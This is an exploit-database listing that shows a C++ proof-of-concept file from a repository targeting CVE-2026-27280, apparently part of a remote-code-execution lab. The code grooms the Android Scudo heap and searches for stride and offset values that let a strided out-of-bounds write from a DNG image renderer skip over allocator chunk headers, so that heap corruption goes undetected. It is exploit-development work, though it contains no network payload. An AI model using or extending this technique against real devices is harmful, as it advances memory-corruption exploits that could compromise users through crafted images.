Exploit database

GH-b72bf8a065b2fa376d029f4cedd11a24

r3n3r0/cve-2026-27280

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-27280

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files15
r3n3r0/cve-2026-27280Revision e25cb94988d6

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

06-rce-lab/src/stride_vs_scudo.cpp

C++ · 11,679 bytes
// Experiment 1 - Can the strided OOB write of dng_render_task::ProcessArea step
// over Scudo's chunk headers and land only on chunk payloads?
//
// Write pattern, from dng_render.cpp:1554-1610 (vulnerable 2410/2471):
//
//     buffer.fColStep   = 1;
//     buffer.fPlaneStep = W;                  // W = dstArea.W() = tile width
//     buffer.fRowStep   = W * planes;
//     ... tempMaskBuffer.fPlanes = 1;  mask->Get (tempMaskBuffer);
//
// so writing ONE mask plane emits, per row:
//     R = W * 4 bytes contiguous      then advance by
//     P = W * planes * 4 bytes
// displaced out of the allocation by an attacker-chosen 4-byte-granular offset
// (DefaultCropOrigin).  Values are the 256 legal float32 patterns.
//
// A - measure Scudo's real block size per size class on this device.
// B - search (W, planes, phase) whose write set misses every [block, block+8).
// C - prove it against the real allocator: groom a contiguous run of chunks,
//     replay the exact pattern over them, free them all.  Scudo aborts on a bad
//     header, so surviving the frees is the positive result.
//     A contiguous (non-strided) overflow is run first as a negative control:
//     if that does NOT abort, the whole test is meaningless.

#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <cstdint>
#include <unistd.h>
#include <sys/wait.h>
#include <algorithm>
#include <vector>

// ---------------------------------------------------------------- writable set

// The parser forces 8-bit semantic-mask samples and the copy is
// *dPtr = (1/255) * (real32) *sPtr, so only these 256 patterns are writable.
static uint32_t writable_pattern (int byteval)
	{
	float f = (1.0f / 255.0f) * (float) byteval;
	uint32_t u;
	memcpy (&u, &f, 4);
	return u;
	}

// --------------------------------------------------------------- part A: geometry

struct class_geom { size_t req; size_t block; };

static size_t measure_block_size (size_t req, int n = 256)
	{
	std::vector<uintptr_t> v;
	v.reserve (n);
	for (int i = 0; i < n; i++)
		{
		void *p = malloc (req);
		if (!p) break;
		v.push_back ((uintptr_t) p);
		}
	std::sort (v.begin (), v.end ());

	// smallest positive delta between neighbouring chunks == block size
	size_t best = 0;
	for (size_t i = 1; i < v.size (); i++)
		{
		size_t d = v[i] - v[i-1];
		if (d && (!best || d < best)) best = d;
		}
	for (uintptr_t a : v) free ((void *) a);
	return best;
	}

// --------------------------------------------------------------- part B: search

struct solution { int W; int planes; int phase; };

// residues touched are {phase + k*P mod B}; they all fit in the payload window
// [8, B-R] only when B divides P.
static bool pattern_clears_headers (int W, int planes, int phase, size_t B, int rows)
	{
	long R = (long) W * 4;
	long P = (long) W * planes * 4;
	if (R > (long) B - 8) return false;
	for (int k = 0; k < rows; k++)
		{
		long s = (long) phase + (long) k * P;
		long off = s % (long) B;
		if (off < 8) return false;
		if (off + R > (long) B) return false;
		}
	return true;
	}

// The pattern must cover at least `min_blocks` blocks, otherwise "it cleared the
// headers" only means "it never left the first chunk".
static bool search_solution (size_t B, int min_blocks, solution &out)
	{
	for (int planes = 1; planes <= 20; planes++)
		for (int W = 1; W <= 64; W++)
			{
			long P = (long) W * planes * 4;
			int rows = (int) (((long) min_blocks * (long) B + P - 1) / P);
			if (rows < 2) continue;
			for (int phase = 0; phase < (int) B; phase += 4)
				if (pattern_clears_headers (W, planes, phase, B, rows))
					{ out = { W, planes, phase }; return true; }
			}
	return false;
	}

// --------------------------------------------------------------- part C: real heap

// Measured, not assumed: the distance from a payload pointer back to the start
// of its block (== where the checksummed header lives).  Found by corrupting one
// word at a time going backwards; the last offset that aborts marks the header.
static long measure_header_offset (size_t req)
	{
	// walk back from -4 until we find the first offset that aborts on free
	for (long off = -4; off >= -64; off -= 4)
		{
		pid_t pid = fork ();
		if (pid < 0) return 16;
		if (pid == 0)
			{
			// only touch chunks in the middle of the run, so a write below the
			// region start cannot masquerade as a header failure
			std::vector<uintptr_t> v;
			for (int i = 0; i < 512; i++)
				{ void *p = malloc (req); if (!p) break; v.push_back ((uintptr_t) p); }
			std::sort (v.begin (), v.end ());
			uint32_t pat = writable_pattern (255);
			for (size_t i = 64; i + 64 < v.size (); i++)
				*(uint32_t *) ((char *) v[i] + off) = pat;
			for (uintptr_t a : v) free ((void *) a);
			for (int i = 0; i < 1024; i++) { void *p = malloc (req); free (p); }
			_exit (0);
			}
		int st = 0; waitpid (pid, &st, 0);
		bool aborted = !(WIFEXITED (st) && WEXITSTATUS (st) == 0);
		if (aborted) return -off + 4;	// header spans [off, off+8) -> block starts here
		}
	return 16;
	}

// find the longest run of chunks that are exactly `block` bytes apart
static size_t find_run (std::vector<uintptr_t> &v, size_t block,
						size_t &run_start_idx)
	{
	std::sort (v.begin (), v.end ());
	size_t best = 0, best_i = 0, cur = 1, cur_i = 0;
	for (size_t i = 1; i < v.size (); i++)
		{
		if (v[i] - v[i-1] == block) { if (cur == 1) cur_i = i-1; cur++; }
		else { if (cur > best) { best = cur; best_i = cur_i; } cur = 1; }
		}
	if (cur > best) { best = cur; best_i = cur_i; }
	run_start_idx = best_i;
	return best;
	}

// replay the exact ProcessArea write pattern
static void replay_write (uintptr_t start, int W, int planes, int rows, int byteval)
	{
	uint32_t pat = writable_pattern (byteval);
	long P = (long) W * planes * 4;
	for (int k = 0; k < rows; k++)
		{
		uint32_t *d = (uint32_t *) (start + (uintptr_t) (k * P));
		for (int j = 0; j < W; j++) d[j] = pat;
		}
	}

struct trial_cfg
	{
	const char *name;
	int W, planes, phase, rows;
	int strided;			// 0 = contiguous control
	};

// Runs one trial in a forked child so a Scudo abort is observable, not fatal.
// Exit codes: 0 = survived the frees, 2 = grooming failed, 3 = the write never
// actually reached the neighbouring chunks (test would be vacuous).
static int run_trial (size_t req, size_t block, long hdr_off,
					  const trial_cfg &c, int verbose)
	{
	// how many blocks the pattern must cover for the test to mean anything
	const int MIN_BLOCKS = 32;

	pid_t pid = fork ();
	if (pid < 0) { perror ("fork"); return -1; }

	if (pid == 0)
		{
		const int NCHUNK = 4096;
		std::vector<uintptr_t> v;
		v.reserve (NCHUNK);
		for (int i = 0; i < NCHUNK; i++)
			{
			void *p = malloc (req);
			if (!p) break;
			memset (p, 0x41, req);
			v.push_back ((uintptr_t) p);
			}

		size_t idx = 0;
		size_t run = find_run (v, block, idx);
		if (run < (size_t) MIN_BLOCKS + 8) _exit (2);

		// block start of the first chunk in the run, from the MEASURED offset
		uintptr_t blk0  = v[idx] - (uintptr_t) hdr_off;
		uintptr_t start = blk0 + (uintptr_t) c.phase;

		long P = (long) c.W * c.planes * 4;
		int rows = c.rows;

		if (c.strided)
			{
			// cover at least MIN_BLOCKS blocks, without leaving the groomed run
			long span = (long) (run - 4) * (long) block - c.phase;
			if (P <= 0) _exit (2);
			long need = (long) MIN_BLOCKS * (long) block;
			rows = (int) ((span < need ? span : need) / P);
			if (rows < 2) _exit (3);
			replay_write (start, c.W, c.planes, rows, 255);
			}
		else
			{
			// negative control: plain contiguous overflow across the same span
			size_t nbytes = (size_t) MIN_BLOCKS * block;
			uint32_t pat = writable_pattern (255);
			uint32_t *d = (uint32_t *) start;
			for (size_t i = 0; i < nbytes / 4; i++) d[i] = pat;
			}

		// Guard against a vacuous pass: confirm the pattern really landed in the
		// payload of several DIFFERENT chunks (they were filled with 0x41).
		int touched = 0;
		for (size_t i = idx; i < idx + (size_t) MIN_BLOCKS && i < v.size (); i++)
			{
			unsigned char *p = (unsigned char *) v[i];
			for (size_t b = 0; b + 4 <= req; b++)
				if (p[b] != 0x41) { touched++; break; }
			}
		if (verbose)
			fprintf (stderr, "  [child] run=%zu blk0=%p rows=%d touched=%d/%d\n",
					 run, (void *) blk0, rows, touched, MIN_BLOCKS);
		if (touched < 4) _exit (3);

		// the moment of truth: Scudo validates each header here
		for (uintptr_t a : v) free ((void *) a);

		// force the quarantine to drain so deferred checks also fire
		for (int i = 0; i < 2048; i++) { void *p = malloc (req); free (p); }

		_exit (0);
		}

	int st = 0;
	waitpid (pid, &st, 0);
	if (WIFEXITED (st))
		{
		int e = WEXITSTATUS (st);
		if (e == 0) return 0;
		if (e == 2) return -1;		// grooming failed
		if (e == 3) return -2;		// write did not reach neighbours
		}
	return 1;
	}

// --------------------------------------------------------------------- main

int main (int argc, char **argv)
	{
	printf ("=== Experiment 1: strided OOB write vs Scudo chunk headers ===\n");
	printf ("device allocator: Scudo (Android bionic)\n\n");

	const int MIN_BLOCKS = 32;

	printf ("--- Part A: measured Scudo geometry per requested size ---\n");
	static const size_t reqs[] = { 16, 24, 32, 40, 48, 64, 80, 96, 112, 128, 256 };
	std::vector<class_geom> geoms;
	std::vector<long> hdrs;
	for (size_t r : reqs)
		{
		size_t b = measure_block_size (r);
		long k = measure_header_offset (r);
		geoms.push_back ({ r, b });
		hdrs.push_back (k);
		printf ("  malloc(%3zu) -> block %3zu, header at payload-%ld "
				"(block layout: [0,8) header, [8,%zu) writable)\n",
				r, b, k, b);
		}

	printf ("\n--- Part B: (W, planes, phase) clearing every header over >=%d blocks ---\n",
			MIN_BLOCKS);
	std::vector<std::pair<size_t, solution>> sols;
	for (auto &g : geoms)
		{
		if (!g.block) continue;
		solution s;
		if (search_solution (g.block, MIN_BLOCKS, s))
			{
			printf ("  block %3zu : W=%-3d planes=%-3d phase=%-3d "
					"(run %d B, period %d B)  CLEARS\n",
					g.block, s.W, s.planes, s.phase, s.W * 4, s.W * s.planes * 4);
			sols.push_back ({ g.block, s });
			}
		else
			printf ("  block %3zu : no solution with W<=64, planes<=20\n", g.block);
		}

	printf ("\n--- Part C: replay against the real allocator ---\n");
	printf ("    'SURVIVED' = pattern reached >=4 neighbouring payloads AND every\n");
	printf ("                 groomed chunk then freed with no Scudo abort\n\n");

	for (size_t i = 0; i < geoms.size (); i++)
		{
		auto &g = geoms[i];
		if (!g.block) continue;
		solution s;
		bool have = false;
		for (auto &kv : sols) if (kv.first == g.block) { s = kv.second; have = true; }
		if (!have) continue;

		auto tag = [] (int rc) -> const char *
			{
			switch (rc)
				{
				case  0: return "SURVIVED";
				case -1: return "NO-RUN";
				case -2: return "NO-REACH";
				default: return "ABORTED";
				}
			};

		// negative control first: a plain contiguous overflow must abort
		trial_cfg ctl = { "contiguous-control", 0, 0, 8, 0, 0 };
		int rc_ctl = run_trial (g.req, g.block, hdrs[i], ctl, argc > 1);

		trial_cfg str = { "strided", s.W, s.planes, s.phase, 0, 1 };
		int rc_str = run_trial (g.req, g.block, hdrs[i], str, argc > 1);

		printf ("  block %3zu  control(contiguous): %-8s   "
				"strided(W=%d,planes=%d,phase=%d): %s\n",
				g.block, tag (rc_ctl), s.W, s.planes, s.phase, tag (rc_str));
		}

	printf ("\ninterpretation:\n");
	printf ("  control ABORTED + strided SURVIVED  -> headers are steppable;\n");
	printf ("                                         linear grooming is viable.\n");
	printf ("  both ABORTED                        -> headers unavoidable.\n");
	printf ("  control survived                    -> test invalid (Scudo not checking).\n");
	return 0;
	}